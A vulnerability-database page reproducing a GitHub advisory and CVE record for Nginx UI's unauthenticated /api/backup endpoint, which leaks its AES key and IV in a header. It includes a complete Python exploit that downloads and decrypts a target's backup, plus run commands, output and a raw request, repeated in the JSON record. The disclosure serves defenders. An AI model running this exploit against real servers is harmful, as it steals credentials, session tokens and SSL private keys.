Vulnerability-Lookup

GHSA-G9W5-QFFC-6762

Vulnerability from github – Published: 2026-03-05 18:26 – Updated: 2026-03-05 22:37

Summary

Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure

Details

Summary

The /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.

Vulnerability Details

Field	Value
CWE	CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data
Affected File	`api/backup/router.go`
Affected Function	`CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`)
Secondary File	`internal/backup/backup.go`
CVSS 3.1	9.8 (Critical)
CVSS Vector	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Root Cause

The vulnerability exists due to two critical security flaws:

1. Missing Authentication on /api/backup Endpoint

In api/backup/router.go:9, the backup endpoint is registered without any authentication middleware:

func InitRouter(r *gin.RouterGroup) {
    r.GET("/backup", CreateBackup)  // No authentication required
    r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)  // Has middleware
}

For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.

2. Encryption Keys Disclosed in HTTP Response Headers

In api/backup/backup.go:22-33, the AES-256 encryption key and IV are sent in plaintext via the X-Backup-Security header:

func CreateBackup(c *gin.Context) {
    result, err := backup.Backup()
    if err != nil {
        cosy.ErrHandler(c, err)
        return
    }

    // Concatenate Key and IV
    securityToken := result.AESKey + ":" + result.AESIv  // Keys sent in header

    // ...
    c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone

    // Send file content
    http.ServeContent(c.Writer, c.Request, fileName, modTime, reader)
}

The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as key:iv.

3. Backup Contents

The backup archive (created in internal/backup/backup.go) contains:

// Files included in backup:
- nginx-ui.zip (encrypted)
  └── database.db          // User credentials, session tokens
  └── app.ini              // Configuration with secrets
  └── server.key/cert      // SSL certificates

- nginx.zip (encrypted)
  └── nginx.conf           // Nginx configuration
  └── sites-enabled/*      // Virtual host configs
  └── ssl/*                // SSL private keys

- hash_info.txt (encrypted)
  └── SHA-256 hashes for integrity verification

All files are encrypted with AES-256-CBC, but the keys are disclosed in the response.

Proof of Concept

Python script

#!/usr/bin/env python3

"""
POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security

Usage:
  python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt
"""

import argparse
import base64
import os
import sys
import urllib.parse
import urllib.request
import zipfile
from io import BytesIO

try:
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
except ImportError:
    print("Error: pycryptodome required for decryption")
    print("Install with: pip install pycryptodome")
    sys.exit(1)


def _parse_keys(hdr_val: str):
    """
    Parse X-Backup-Security header format: "base64_key:base64_iv"
    Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
    """
    v = (hdr_val or "").strip()

    # Format is: key:iv (both base64 encoded)
    if ":" in v:
        parts = v.split(":", 1)
        if len(parts) == 2:
            return parts[0].strip(), parts[1].strip()

    return None, None


def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
    """Decrypt using AES-256-CBC with PKCS#7 padding"""
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)

    if len(key) != 32:
        raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)")
    if len(iv) != 16:
        raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")

    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    return unpad(decrypted, AES.block_size)


def extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):
    """Extract and decrypt the backup archive"""
    print(f"\n[*] Extracting encrypted backup to {output_dir}")

    os.makedirs(output_dir, exist_ok=True)

    # Extract the main ZIP (contains encrypted files)
    with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:
        print(f"[*] Main archive contains: {main_zip.namelist()}")
        main_zip.extractall(output_dir)

    # Decrypt each file
    encrypted_files = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]

    for filename in encrypted_files:
        filepath = os.path.join(output_dir, filename)
        if not os.path.exists(filepath):
            print(f"[!] Warning: {filename} not found")
            continue

        print(f"[*] Decrypting {filename}...")

        with open(filepath, "rb") as f:
            encrypted = f.read()

        try:
            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)

            # Write decrypted file
            decrypted_path = filepath.replace(".zip", "_decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted"
            with open(decrypted_path, "wb") as f:
                f.write(decrypted)

            print(f"    → Saved to {decrypted_path} ({len(decrypted)} bytes)")

            # If it's a ZIP, extract it
            if filename.endswith(".zip"):
                extract_dir = os.path.join(output_dir, filename.replace(".zip", ""))
                os.makedirs(extract_dir, exist_ok=True)
                with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:
                    inner_zip.extractall(extract_dir)
                    print(f"    → Extracted {len(inner_zip.namelist())} files to {extract_dir}")

        except Exception as e:
            print(f"    ✗ Failed to decrypt {filename}: {e}")

    # Show hash info
    hash_info_path = os.path.join(output_dir, "hash_info.txt.decrypted")
    if os.path.exists(hash_info_path):
        print(f"\n[*] Hash info:")
        with open(hash_info_path, "r") as f:
            print(f.read())

def main():
    ap = argparse.ArgumentParser(
        description="Nginx UI - Unauthenticated backup download with key disclosure"
    )
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
    ap.add_argument("--out", default="backup.bin", help="Where to save the encrypted backup")
    ap.add_argument("--decrypt", action="store_true", help="Decrypt the backup after download")
    ap.add_argument("--extract-dir", default="backup_extracted", help="Directory to extract decrypted files")

    args = ap.parse_args()

    url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")

    # Unauthenticated request to the backup endpoint
    req = urllib.request.Request(url, method="GET")

    try:
        with urllib.request.urlopen(req, timeout=20) as resp:
            hdr = resp.headers.get("X-Backup-Security", "")
            key, iv = _parse_keys(hdr)
            data = resp.read()
    except urllib.error.HTTPError as e:
        print(f"[!] HTTP Error {e.code}: {e.reason}")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

    with open(args.out, "wb") as f:
        f.write(data)

    # Key/IV disclosure in response header enables decryption of the downloaded backup
    print(f"\nX-Backup-Security: {hdr}")
    print(f"Parsed AES-256 key: {key}")
    print(f"Parsed AES IV    : {iv}")

    if key and iv:
        # Verify key/IV lengths
        try:
            key_bytes = base64.b64decode(key)
            iv_bytes = base64.b64decode(iv)
            print(f"\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)")
            print(f"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)")
        except Exception as e:
            print(f"[!] Error decoding keys: {e}")
            sys.exit(1)

        if args.decrypt:
            try:
                extract_backup(args.out, key, iv, args.extract_dir)

            except Exception as e:
                print(f"\n[!] Decryption failed: {e}")
                import traceback
                traceback.print_exc()
                sys.exit(1)
    else:
        print("\n[!] Failed to parse encryption keys from X-Backup-Security header")
        print(f"    Header value: {hdr}")

if __name__ == "__main__":
    main()

# Download and decrypt backup (no authentication required)
# pip install pycryptodome
python poc.py --target http://victim:9000 --decrypt

X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==
Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=
Parsed AES IV    : +rLZrXK3kbWFRK3qMpB3jw==

[*] Key length: 32 bytes (AES-256 âœ“)
[*] IV length : 16 bytes (AES block size âœ“)

[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
    â†’ Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
    â†’ Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)
    â†’ Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
    â†’ Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)
    â†’ Extracted 17 files to backup_extracted/nginx

[*] Hash info:
nginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5
nginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905
timestamp: 20260129-122110
version: 2.3.2

HTTP Request (Raw)

GET /api/backup HTTP/1.1
Host: victim:9000

No authentication required - this request will succeed and return: - Encrypted backup as ZIP file - Encryption keys in X-Backup-Security header

Example Response

HTTP/1.1 200 OK
Content-Type: application/zip
Content-Disposition: attachment; filename=backup-20260129-120000.zip
X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==

[Binary ZIP data]

The X-Backup-Security header contains: - Key: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4= (Base64-encoded 32-byte AES-256 key) - IV: 7XdVSRcgYfWf7C/J0IS8Cg== (Base64-encoded 16-byte IV)

screenshot

Resources

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/0xJacky/Nginx-UI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.3.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-27944"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-306",
      "CWE-311"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-05T18:26:41Z",
    "nvd_published_at": "2026-03-05T19:16:05Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `/api/backup` endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the `X-Backup-Security` response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.\n\n## Vulnerability Details\n\n| Field | Value |\n|-------|-------|\n| CWE | CWE-306: Missing Authentication for Critical Function + CWE-311: Missing Encryption of Sensitive Data |\n| Affected File | `api/backup/router.go` |\n| Affected Function | `CreateBackup` (lines 8-11 in router, implementation in `api/backup/backup.go:13-38`) |\n| Secondary File | `internal/backup/backup.go` |\n| CVSS 3.1 | 9.8 (Critical) |\n| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |\n\n## Root Cause\n\nThe vulnerability exists due to two critical security flaws:\n\n### 1. Missing Authentication on /api/backup Endpoint\n\nIn `api/backup/router.go:9`, the backup endpoint is registered without any authentication middleware:\n\n```go\nfunc InitRouter(r *gin.RouterGroup) {\n\tr.GET(\"/backup\", CreateBackup)  // No authentication required\n\tr.POST(\"/restore\", middleware.EncryptedForm(), RestoreBackup)  // Has middleware\n}\n```\n\nFor comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.\n\n### 2. Encryption Keys Disclosed in HTTP Response Headers\n\nIn `api/backup/backup.go:22-33`, the AES-256 encryption key and IV are sent in plaintext via the `X-Backup-Security` header:\n\n```go\nfunc CreateBackup(c *gin.Context) {\n\tresult, err := backup.Backup()\n\tif err != nil {\n\t\tcosy.ErrHandler(c, err)\n\t\treturn\n\t}\n\n\t// Concatenate Key and IV\n\tsecurityToken := result.AESKey + \":\" + result.AESIv  // Keys sent in header\n\n\t// ...\n\tc.Header(\"X-Backup-Security\", securityToken) // Keys exposed to anyone\n\n\t// Send file content\n\thttp.ServeContent(c.Writer, c.Request, fileName, modTime, reader)\n}\n```\n\nThe encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as `key:iv`.\n\n### 3. Backup Contents\n\nThe backup archive (created in `internal/backup/backup.go`) contains:\n\n```go\n// Files included in backup:\n- nginx-ui.zip (encrypted)\n  \u2514\u2500\u2500 database.db          // User credentials, session tokens\n  \u2514\u2500\u2500 app.ini              // Configuration with secrets\n  \u2514\u2500\u2500 server.key/cert      // SSL certificates\n\n- nginx.zip (encrypted)\n  \u2514\u2500\u2500 nginx.conf           // Nginx configuration\n  \u2514\u2500\u2500 sites-enabled/*      // Virtual host configs\n  \u2514\u2500\u2500 ssl/*                // SSL private keys\n\n- hash_info.txt (encrypted)\n  \u2514\u2500\u2500 SHA-256 hashes for integrity verification\n```\n\nAll files are encrypted with AES-256-CBC, but the keys are disclosed in the response.\n\n## Proof of Concept\n\n### Python script\n\n```python\n#!/usr/bin/env python3\n\n\"\"\"\nPOC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security\n\nUsage:\n  python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt\n\"\"\"\n\nimport argparse\nimport base64\nimport os\nimport sys\nimport urllib.parse\nimport urllib.request\nimport zipfile\nfrom io import BytesIO\n\ntry:\n    from Crypto.Cipher import AES\n    from Crypto.Util.Padding import unpad\nexcept ImportError:\n    print(\"Error: pycryptodome required for decryption\")\n    print(\"Install with: pip install pycryptodome\")\n    sys.exit(1)\n\n\ndef _parse_keys(hdr_val: str):\n    \"\"\"\n    Parse X-Backup-Security header format: \"base64_key:base64_iv\"\n    Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n    \"\"\"\n    v = (hdr_val or \"\").strip()\n\n    # Format is: key:iv (both base64 encoded)\n    if \":\" in v:\n        parts = v.split(\":\", 1)\n        if len(parts) == 2:\n            return parts[0].strip(), parts[1].strip()\n\n    return None, None\n\n\ndef decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -\u003e bytes:\n    \"\"\"Decrypt using AES-256-CBC with PKCS#7 padding\"\"\"\n    key = base64.b64decode(key_b64)\n    iv = base64.b64decode(iv_b64)\n\n    if len(key) != 32:\n        raise ValueError(f\"Invalid key length: {len(key)} (expected 32 bytes for AES-256)\")\n    if len(iv) != 16:\n        raise ValueError(f\"Invalid IV length: {len(iv)} (expected 16 bytes)\")\n\n    cipher = AES.new(key, AES.MODE_CBC, iv)\n    decrypted = cipher.decrypt(encrypted_data)\n    return unpad(decrypted, AES.block_size)\n\n\ndef extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):\n    \"\"\"Extract and decrypt the backup archive\"\"\"\n    print(f\"\\n[*] Extracting encrypted backup to {output_dir}\")\n\n    os.makedirs(output_dir, exist_ok=True)\n\n    # Extract the main ZIP (contains encrypted files)\n    with zipfile.ZipFile(encrypted_zip_path, \u0027r\u0027) as main_zip:\n        print(f\"[*] Main archive contains: {main_zip.namelist()}\")\n        main_zip.extractall(output_dir)\n\n    # Decrypt each file\n    encrypted_files = [\"hash_info.txt\", \"nginx-ui.zip\", \"nginx.zip\"]\n\n    for filename in encrypted_files:\n        filepath = os.path.join(output_dir, filename)\n        if not os.path.exists(filepath):\n            print(f\"[!] Warning: {filename} not found\")\n            continue\n\n        print(f\"[*] Decrypting {filename}...\")\n\n        with open(filepath, \"rb\") as f:\n            encrypted = f.read()\n\n        try:\n            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)\n\n            # Write decrypted file\n            decrypted_path = filepath.replace(\".zip\", \"_decrypted.zip\") if filename.endswith(\".zip\") else filepath + \".decrypted\"\n            with open(decrypted_path, \"wb\") as f:\n                f.write(decrypted)\n\n            print(f\"    \u2192 Saved to {decrypted_path} ({len(decrypted)} bytes)\")\n\n            # If it\u0027s a ZIP, extract it\n            if filename.endswith(\".zip\"):\n                extract_dir = os.path.join(output_dir, filename.replace(\".zip\", \"\"))\n                os.makedirs(extract_dir, exist_ok=True)\n                with zipfile.ZipFile(BytesIO(decrypted), \u0027r\u0027) as inner_zip:\n                    inner_zip.extractall(extract_dir)\n                    print(f\"    \u2192 Extracted {len(inner_zip.namelist())} files to {extract_dir}\")\n\n        except Exception as e:\n            print(f\"    \u2717 Failed to decrypt {filename}: {e}\")\n\n    # Show hash info\n    hash_info_path = os.path.join(output_dir, \"hash_info.txt.decrypted\")\n    if os.path.exists(hash_info_path):\n        print(f\"\\n[*] Hash info:\")\n        with open(hash_info_path, \"r\") as f:\n            print(f.read())\n\ndef main():\n    ap = argparse.ArgumentParser(\n        description=\"Nginx UI - Unauthenticated backup download with key disclosure\"\n    )\n    ap.add_argument(\"--target\", required=True, help=\"Base URL, e.g. http://host:port\")\n    ap.add_argument(\"--out\", default=\"backup.bin\", help=\"Where to save the encrypted backup\")\n    ap.add_argument(\"--decrypt\", action=\"store_true\", help=\"Decrypt the backup after download\")\n    ap.add_argument(\"--extract-dir\", default=\"backup_extracted\", help=\"Directory to extract decrypted files\")\n\n    args = ap.parse_args()\n\n    url = urllib.parse.urljoin(args.target.rstrip(\"/\") + \"/\", \"api/backup\")\n\n    # Unauthenticated request to the backup endpoint\n    req = urllib.request.Request(url, method=\"GET\")\n\n    try:\n        with urllib.request.urlopen(req, timeout=20) as resp:\n            hdr = resp.headers.get(\"X-Backup-Security\", \"\")\n            key, iv = _parse_keys(hdr)\n            data = resp.read()\n    except urllib.error.HTTPError as e:\n        print(f\"[!] HTTP Error {e.code}: {e.reason}\")\n        sys.exit(1)\n    except Exception as e:\n        print(f\"[!] Error: {e}\")\n        sys.exit(1)\n\n    with open(args.out, \"wb\") as f:\n        f.write(data)\n\n    # Key/IV disclosure in response header enables decryption of the downloaded backup\n    print(f\"\\nX-Backup-Security: {hdr}\")\n    print(f\"Parsed AES-256 key: {key}\")\n    print(f\"Parsed AES IV    : {iv}\")\n\n    if key and iv:\n        # Verify key/IV lengths\n        try:\n            key_bytes = base64.b64decode(key)\n            iv_bytes = base64.b64decode(iv)\n            print(f\"\\n[*] Key length: {len(key_bytes)} bytes (AES-256 \u2713)\")\n            print(f\"[*] IV length : {len(iv_bytes)} bytes (AES block size \u2713)\")\n        except Exception as e:\n            print(f\"[!] Error decoding keys: {e}\")\n            sys.exit(1)\n\n        if args.decrypt:\n            try:\n                extract_backup(args.out, key, iv, args.extract_dir)\n\n            except Exception as e:\n                print(f\"\\n[!] Decryption failed: {e}\")\n                import traceback\n                traceback.print_exc()\n                sys.exit(1)\n    else:\n        print(\"\\n[!] Failed to parse encryption keys from X-Backup-Security header\")\n        print(f\"    Header value: {hdr}\")\n\nif __name__ == \"__main__\":\n    main()\n```\n\n```bash\n# Download and decrypt backup (no authentication required)\n# pip install pycryptodome\npython poc.py --target http://victim:9000 --decrypt\n```\n\n```\nX-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==\nParsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=\nParsed AES IV    : +rLZrXK3kbWFRK3qMpB3jw==\n\n[*] Key length: 32 bytes (AES-256 \u00e2\u0153\u201c)\n[*] IV length : 16 bytes (AES block size \u00e2\u0153\u201c)\n\n[*] Extracting encrypted backup to backup_extracted\n[*] Main archive contains: [\u0027hash_info.txt\u0027, \u0027nginx-ui.zip\u0027, \u0027nginx.zip\u0027]\n[*] Decrypting hash_info.txt...\n    \u00e2\u2020\u2019 Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)\n[*] Decrypting nginx-ui.zip...\n    \u00e2\u2020\u2019 Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)\n    \u00e2\u2020\u2019 Extracted 2 files to backup_extracted/nginx-ui\n[*] Decrypting nginx.zip...\n    \u00e2\u2020\u2019 Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)\n    \u00e2\u2020\u2019 Extracted 17 files to backup_extracted/nginx\n\n[*] Hash info:\nnginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5\nnginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905\ntimestamp: 20260129-122110\nversion: 2.3.2\n```\n\n### HTTP Request (Raw)\n\n```http\nGET /api/backup HTTP/1.1\nHost: victim:9000\n\n```\n\n**No authentication required** - this request will succeed and return:\n- Encrypted backup as ZIP file\n- Encryption keys in `X-Backup-Security` header\n\n### Example Response\n\n```http\nHTTP/1.1 200 OK\nContent-Type: application/zip\nContent-Disposition: attachment; filename=backup-20260129-120000.zip\nX-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==\n\n[Binary ZIP data]\n```\n\nThe `X-Backup-Security` header contains:\n- **Key**: `e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=` (Base64-encoded 32-byte AES-256 key)\n- **IV**: `7XdVSRcgYfWf7C/J0IS8Cg==` (Base64-encoded 16-byte IV)\n\n\u003cimg width=\"1430\" height=\"835\" alt=\"screenshot\" src=\"https://github.com/user-attachments/assets/a2e23c48-2272-4276-81de-fc700ff05b17\" /\u003e\n\n## Resources\n\n- [CWE-306: Missing Authentication for Critical Function](https://cwe.mitre.org/data/definitions/306.html)\n- [CWE-311: Missing Encryption of Sensitive Data](https://cwe.mitre.org/data/definitions/311.html)\n- [OWASP: Broken Authentication](https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication)\n- [OWASP: Sensitive Data Exposure](https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure)\n- [NIST: Key Management Guidelines](https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final)",
  "id": "GHSA-g9w5-qffc-6762",
  "modified": "2026-03-05T22:37:19Z",
  "published": "2026-03-05T18:26:41Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27944"
    },
    {
      "type": "WEB",
      "url": "https://csrc.nist.gov/publications/detail/sp/800-57-part-1/rev-5/final"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-project-top-ten/2017/A2_2017-Broken_Authentication"
    },
    {
      "type": "WEB",
      "url": "https://owasp.org/www-project-top-ten/2017/A3_2017-Sensitive_Data_Exposure"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure"
}

CVE-2026-27944 (GCVE-0-2026-27944)

Vulnerability from cvelistv5 – Published: 2026-03-05 16:28 – Updated: 2026-03-19 14:49

Title

Nginx UI: Unauthenticated Backup Download with Encryption Key Disclosure

Summary

Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3.

Severity

9.8 (Critical)


                        
                          CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

SSVC

Exploitation: poc Automatable: yes Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-03-19 14:48 UTC

CWE

CWE-311 - Missing Encryption of Sensitive Data
CWE-306 - Missing Authentication for Critical Function

Assigner

GitHub_M mitre root

References

1 reference

URL	Tags
https://github.com/0xJacky/nginx-ui/security/advi…	x_refsource_CONFIRM

Impacted products

1 product

Vendor	Product	Version
0xJacky	nginx-ui	Affected: < 2.3.3

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-27944",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "yes"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-03-19T14:48:53.820842Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-03-19T14:49:05.173Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "nginx-ui",
          "vendor": "0xJacky",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.3.3"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Nginx UI is a web user interface for the Nginx web server. Prior to version 2.3.3, the /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately. This issue has been patched in version 2.3.3."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "LOW",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 9.8,
            "baseSeverity": "CRITICAL",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-311",
              "description": "CWE-311: Missing Encryption of Sensitive Data",
              "lang": "en",
              "type": "CWE"
            }
          ]
        },
        {
          "descriptions": [
            {
              "cweId": "CWE-306",
              "description": "CWE-306: Missing Authentication for Critical Function",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-03-05T16:28:13.988Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-g9w5-qffc-6762"
        }
      ],
      "source": {
        "advisory": "GHSA-g9w5-qffc-6762",
        "discovery": "UNKNOWN"
      },
      "title": "Nginx UI: Unauthenticated Backup Download with Encryption Key Disclosure"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-27944",
    "datePublished": "2026-03-05T16:28:13.988Z",
    "dateReserved": "2026-02-25T03:11:36.690Z",
    "dateUpdated": "2026-03-19T14:49:05.173Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

GHSA-G9W5-QFFC-6762

Summary

Vulnerability Details

Root Cause

1. Missing Authentication on /api/backup Endpoint

2. Encryption Keys Disclosed in HTTP Response Headers

3. Backup Contents

Proof of Concept

Python script

HTTP Request (Raw)

Example Response

Resources

CVE-2026-27944 (GCVE-0-2026-27944)

Tags

Sightings

Nomenclature

Related by attack behaviour